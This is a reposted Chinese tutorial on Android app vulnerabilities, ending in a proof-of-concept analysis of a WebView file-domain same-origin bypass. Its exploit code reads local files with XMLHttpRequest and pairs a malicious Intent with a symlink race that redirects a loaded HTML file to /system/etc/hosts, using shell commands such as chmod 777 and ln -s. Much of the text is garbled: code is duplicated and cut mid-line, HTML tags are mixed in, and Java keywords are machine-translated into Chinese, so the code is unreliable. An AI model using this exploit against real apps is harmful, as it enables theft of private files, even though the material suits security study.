首頁  >  文章  >  運維  >  WebView File域同源策略繞過漏洞實例分析

WebView File域同源策略繞過漏洞實例分析

王林
王林轉載
2023-05-15 08:22:141541瀏覽

基本知識Android架構

  • Kernel核心層 
    漏洞危害極大,通用性強 
    驅動由於多而雜,也可能存在不少漏洞

  • Libaries系統運行庫層

    • #系統中間件形式提供的運作庫 
      包括libc、 WebKit、SQLite等等

    • AndroidRunTime 
      Dalvik虛擬機器和核心庫

  • ##FrameWork應用框架層 

    提供一連串的服務和API的介面

    • 活動管理器

    • 內容提供者

    • #檢視

    • 資源管理器

    • #通知管理員


  • Application應用程式層

    • 系統應用程式 

      主畫面Home、聯絡人Contact、電話Phone、瀏覽器Browser

    • #其他應用 

      開發者使用應用程式框架層的API實作的程式

#Andoroid常用元件

  • Acitivity活動

  • Service服務

  • BroadcastRecviver廣播接收器

  • ContentProvider內容提供者


Android App常見漏洞(OWASP Mobile Top 10)平台使用不當

  • 概述 

    平台功能的濫用,或未能使用平台的安全控制。如Intent誤用、權限誤用等

  • 風險 

    很廣泛,可能涉及行動平台各服務

  • ##舉例 

  • iOS系統中,將密碼資料存放在本機檔案而沒有存放在金鑰鏈中,導致可以從偽加密的備份資料中讀取 
    Android系統中,Intent使用不當導致惡意使用者劫持修改intent的內容,以原始進程的身份權限執行任意動作

  • 不安全的資料儲存

  • 不安全的通訊

典型漏洞及挖掘方法資料儲存漏洞

  • 資料檔或目錄

    • 明文儲存

    • MODE_PRIVATE

    • #明文儲存

    • #建立資料庫時沒有使用MODE_PRIVATE模式

    • 建立設定檔時沒有使用MODE_PRIVATE模式,導致其他程式可以讀取設定檔

    • 明文存儲,而root用戶可讀,導致敏感資料外洩

    • SharedPreferences 
      data/data/程式包名/shared_prefs/*.xml

    • #SQLiteDatabases 
      data/data程式包名/database/*.db


    • #InternalStorage 
      #data/data/程式報名/files/*


    • ExternalStorage 
      /mnt/sdcard/*


  • #檢測方法
    • 瀏覽/data/data/套件名稱目錄下的各個檔案和目錄,檢查是否有others使用者可讀的檔案


    • 檢查設定檔、資料庫等是否存在明文敏感資訊


  • 挖掘方法


    • 程式碼偵測 
    • 檢查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函數的mode參數是否為MODE_PRIVATE(0x0000)





    • ##資料通訊漏洞

    • 使用HTTP等明文協定將敏感資訊傳送至服務端


    • 透過區域網路嗅探、惡意公用WIFI、惡意代理服務、DNS劫持等手段擷取明文通信,產生中間人攻擊


    • SSL憑證弱校驗

    • 搜尋.method public checkServerTrusted

    • 定位.method和end method

  • 檢查是否有return-void


    同理檢查verify(String, SSLSession)的回傳值是否恆為True、X509HostnameVerifier的參數是否為ALLOW_ALLHOSTNAME_VERIFIER## #############開啟Fiddler的HTTPS解析功能,產生並匯出自簽名證書,安裝到手機中############開啟Fiddler代理,並允許遠端主機連接該代理###############APP中缺乏SSL憑證的校驗 ###客戶端中應該實作X509TruestManager類,包括checkServerTrusted\checkClientTrusted\getInstance三個方法## ##########憑證校驗失敗會導致異常,然後由應用程式對憑證校驗異常進行處理#############未對伺服器憑證校驗會導致TLS中間人攻擊 ###使用HttpsURLConnection時,實作自訂HostnameVerifier過程中未對主機名稱做驗證,則預設不檢查憑證網域名稱與網站名稱是否相符。或是設定HttpsURLConnection的HostnameVerifier時,將其設為ALLOW_ALL_HOSTNAME_VERIIER則接受所有網域.############攻擊方法########################攻擊方法########################攻擊方法########################攻擊方法################ 挖礦方法# ####################SSL憑證強校驗 ###可能透過Xp、Patch等方法繞過############

元件暴露漏洞

  • Android:exported是四大元件中都有的屬性,用來表示是否支援其他應用程式呼叫目前元件

  • 如果有intent-filter,預設值為true;反之預設則為false

  • exported匯出元件的權限控制





    • 繞過認證
  • activity暴露後被第三方調用,可能在沒有密碼的情況下登入/重設密碼

    • 敏感資訊外洩

  • #recviver暴露後被第三方啟動,可能會查看到偵錯等信息中所包含的敏感資訊



  • #越權行為

    • 權限程式透過呼叫高權限程式暴露的元件,執行高權限動作




  • ##查看AndroidManifest.xml


  • 透過drozer的attacksurface工具進行安全評估
    • 弱加密漏洞


    • 密碼硬編碼 
    • 反編譯、root檢視等可以取得

    • AES/DES弱加密

      ECB模式容易受到分析或重播攻擊

    WebView
  • 主要包含三種漏洞:

    • #任意程式碼執行
    • 編寫遍歷物件的網頁,如果存在getClass方法則存在遠端程式碼執行漏洞

    • fiddler的before腳本可以讓任意webview存取任意網頁時進行測試


    • Android4.2以後,透過addJavascriptInterface註解的方法可被網頁中的java方法呼叫。如果未加過濾則可能存在漏洞

    • 挖掘方法:

  • 網域控制不嚴格


setAllowFileAccess

  • setAllowFileAccessFromFileURLs



    #setAllowUniversalAccessFromFileURLs(導致遠端洩漏敏感資訊)
    • 透過符號連結攻擊可以存取本機檔案:無論怎麼限制,js都能存取本檔案的。而透過延時執行和將目前檔案替換成指向指向其他檔案的軟連線就可以讀取到被符號連結所指向的檔案


    • WebView如果開啟了對JavaScript的支持,同時未對file:///形式的URL做限制,則會導致coookie、私有檔案、資料庫等敏感資訊外洩


  • ##密碼明文儲存 
    當使用者選擇儲存在WebViEW中輸入的使用者名稱和密碼時,則會被明文儲存到app目錄下的data.db中 

    具有root權限的攻擊者可以讀取
    • 漏洞挖掘流程總結
    • 靜態分析 
    • 快速偵測,取得分析重點目標
    • 檢查AndroidManifest檔案

    腳本分析Smali程式碼


  • 動態分析 
      對疑似風險進行驗證和危害評估




    • 調試模式分析

    ##嘗試操作/漏洞驗證


drozer

抓包分析資料及介面


反分析 

加密破解以及對邏輯和程式碼的進一步分析

#-

#自動化輔助系統

###MobSF 包含前端web介面,############Marvin 包含前端web介面,部署麻煩############Inspeckage Xposed外掛##################今天我們就來講WebView 的漏洞##### ##[Java] 純文字檢視 複製程式碼######?######範例程式碼位址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。 ######或是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1#########程式碼如下程式碼主要區別在於這次載入的attack_file. html######public class MainActivity extends Activity {  #######    private WebView webView;  ######    private Uri mUri;  ######    private Uri mUri;  #### mUrl1 = "file:///android_asset/html/attack_file.html";  ######    //String mUrl2 = "file:///android_asset/html/test.html";  ######    @ Override ######    protected void onCreate(Bundle savedInstanceState) {  ######        super.onCreate(savedInstanceState);        webView = (WebView) findViewById(R.id.webview);  ###

        webView.getSettings().setJavaScriptEnabled(true);

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");

        webView.getSettings().setAllowFileAccessFromFileURLs(true);

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override   #View ## String message,JsResult result) {  

#                //此處必要的功能  

                return super.onJsAlert ##        });

        webView.loadUrl(mUrl1);

    }  

##    類別 JSInterface {  

        public String onButtonClick(String text) {  

#  public String onButtonClick(String.

            runOnUiThread(new Runnable() {  

                @O. #                    Log.e("leehong2", "onButtonClick: text = " str);  

                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LTHlicationContext(), "onButtonClick: text  }  

# });

            return " 此文字是從Java層傳回的。js text = " text;

        }  

        public void onImageClick(String url, int width, int height) {   width "高度=“高度;

            Log.i("leehong2", str);

            runOnUiThread(new Runnable() {  

                @O. #                    Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();  

                }  

#            });

        }  

    }  

}

這裡webView.getSettings().setAllowFileAccessFromFileURLs(true),表示可以透過javaScriptScript存取檔案檔案。

   我們再看attack_file.html的程式碼:'

functionstealFile()  

{  

    var file = "file:///mnt/sdcard/233.txt";

    var xmlHttpReq = new XMLHttpRequest();

    xmlHttpReq.onreadystatechange = function(){  

        if(xmlHttpReq.readyState == 4){  

##  xml.

        }  

    }  

xmlHttpReq.open("GET", file);

xmlHttpReq.send(null);

}  

stealFile();

由於setAllowFileAccessFromFileURLs為true,所以webView.load這個html可以回傳/mnt/sdcard/2333.txt的值。

# #限制如果setAllowFileAccessFromFileURLs為false,webView.load這個html不可以回傳/mnt/sdcard/2333.txt的值。

即使setAllowFileAccessFromFileURLs為false,我們透過一種方式也可以跨過這個,這個我可以跨過這個,這個我下次講講。

  先執行WebViewFileDemo1,然後再執行AttackWebView來攻擊WebView。

    我們先看WebViewFileDemo1,主要程式碼如下:

package com.example.webviewfiledemo; [/size][/ font][/p]  

import android.app.Activity;  

import android.content.Intent;  

#import android.net.Uri;  

#4im #import android.os.Bundle;  

import android.util.Log;  

import android.webkit.JsResult;  

#import android.webkit.WebChromeClient  

#import android.webkit.WebChromeClient  ##;

import android.webkit.WebView;  

import android.widget.Toast;  

public class MainActivity extends Activity {  

    private WebView webView;# #    private Uri mUri;  

    private String url;  

    @Override 

   savedInstanceState);

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  webView = (WebView) findViewById(R.id.webview); );  

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

#        web Settings ().setAllowFileAccess(false);  

#        webView.setWebChromeClient(new WebChromeClient() {  

   onJsAlert(WebView view, String url, String message, JsResult result) {  

                //Required functionality here  

                    }  

        }) ;  

        Intent i = getIntent();  

        if (i != null) {  

##c #   }  

        if (mUri != null) {  

            url = mUri.toString();  

            webView.loadUrl(url);  

        }  

    }  

##}  &

} 接收來自外部的Intent,提取Intent裡面的url並載入。

接著我們來看AttackWebView工程,這裡就是向com.example.webviewfiledemo.MainActivity發送Intent的工程。程式碼如下:

public class MainActivity extends Activity {  

    public final static String HTML =   

         Wait a few seconds."    

            "<script>"   <p></p>   function doitjs(){"   <p></p>            "var xhr = new XMLHttpRequest;"   <p></p>            "xhr.onload = function(){"         "xhr.onload = function(){"   <p></p># "d.body.appendChild(d.createTextNode(txt));"   <p></p>            "alert(txt);" "};"   <p></p>  GE URL);"   <p></p>            "xhr.send(null);"   <p></p>            " #. <p></p> <p>            “腳本>” </p> <p>            "</body>"; </p> <p>    公用靜態字串 MY_TMP_DIR; </p> <p>    @Override </p> <p>    protected void onCreate(Bundle savingInstanceState) {  </p> <p>        super.onCreate(savedIn</p>##        super.onCreate(savedInstanceState); <p></p>        setContentView(R.layout.activity_main); <p></p>        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath(); <p></p>        doit(); <p></p>    }  <p></p>    public void doit() {  <p></p>        String HTML_PATH = MY_TMP_DIR "/A0" ".html"; <p></p>        嘗試 {  <p></p>            cmdexec("mkdir " MY_TMP_DIR); <p></p>            cmdexec("echo \"" HTML "\" > " HTML_PATH); <p></p>            cmdexec("chmod -R 777 " MY_TMP_DIR); <p></p>            Thread.sleep(1000); <p></p>            invokeVulnAPP("file://" HTML_PATH); <p></p>            Thread.sleep(6000); <p></p>            cmdexec("rm " HTML_PATH); <p></p>            cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH); <p></p>        } catch (Exception e) {  <p></p>            // TODO: 處理例外  <p>##  # nAPP(String url) {  </p> <p>        嘗試{  </p> <p>            Intent Intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url)); </p> <p>           intent.addCategory(Intent.CATEGORY_LAUNCHER); </p> <p>           intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity"); </p> <p>            startActivity(意圖); </p> <p>        } catch (Exception e) {  </p> <p>            // TODO: 處理例外  </p>## String cmd) {  <p></p>        嘗試{  <p></p>            String[] tmp = 新 String[] { "/system/bin/sh", "-c", cmd }; <p></p>            Runtime.getRuntime().exec(tmp); <p></p>        } catch (Exception e) {  <p></p>            // TODO: 處理例外  <p>## ##透過invokeVulnAPP,開啟了com.example.webviewfiledemo.MainActivity並傳遞了Intent。這個Activity提取了Url,Url為/sdcard/payload_odex/A0.html,webView加載了這個html,html內容如下:</p> <p></p>public Final static String HTML =   <p></p>        "" <p></p>        “<u>請稍等幾秒鐘。</u>” <p></p>        “” <p></p>        “var d = 文檔;” <p></p>        “函數 doitjs(){”   <p></p>        “var xhr = new XMLHttpRequest;” <p><br>        “xhr.onload = function(){”   </p> <p>        “var txt = xhr.responseText;” </p> <p>        “d.body.appendChild(d.createTextNode(txt));” </p> <p>        “警報(txt);” “};” </p> <p>        "xhr.open('GET',d.URL);" </p> <p>        “xhr.send(null);” </p> <p>        “}”   </p>#<p>        "setTimeout(doitjs,8000);"   </p> <p>        "</script>"   

 View載入A0.html後,這個html的作用是延遲8秒讀取A0.html本身。我們再回到AttackWebView工程,往下看程式碼。


cmdexec("mkdir " MY_TMP_DIR); 

            cmdexec("echo \"" HTML "\" > " HTML_PATH);  cmdexec("echo \"" HTML "\" > " HTML_PATH);  cmdexec("echo \"" HTML "\" > " HTML_PATH);  cmdexec("echo \"" HTML "\" > " HTML_PATH);  cmdexec("echo \"" HTML "\" > " HTML_PATH); ;  

            Thread.sleep(1000);  

            invokeVulnAPP("file://"read_PATH);  

cmdexec("rm " HTML_PATH);  

            cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);

#-invokeVulnAPPnAPP後,6秒後,我們用完後,我們用完後,我們用完先把A0.html刪除,再重新軟連線到/system/etc/hosts。注意此時當WebViewFileDemo1工程中webView載入A0.html,這個html的作用是延遲8秒讀取A0.html本身,所以8秒後讀取的是軟連線/system/etc/hosts 。

以上是WebView File域同源策略繞過漏洞實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除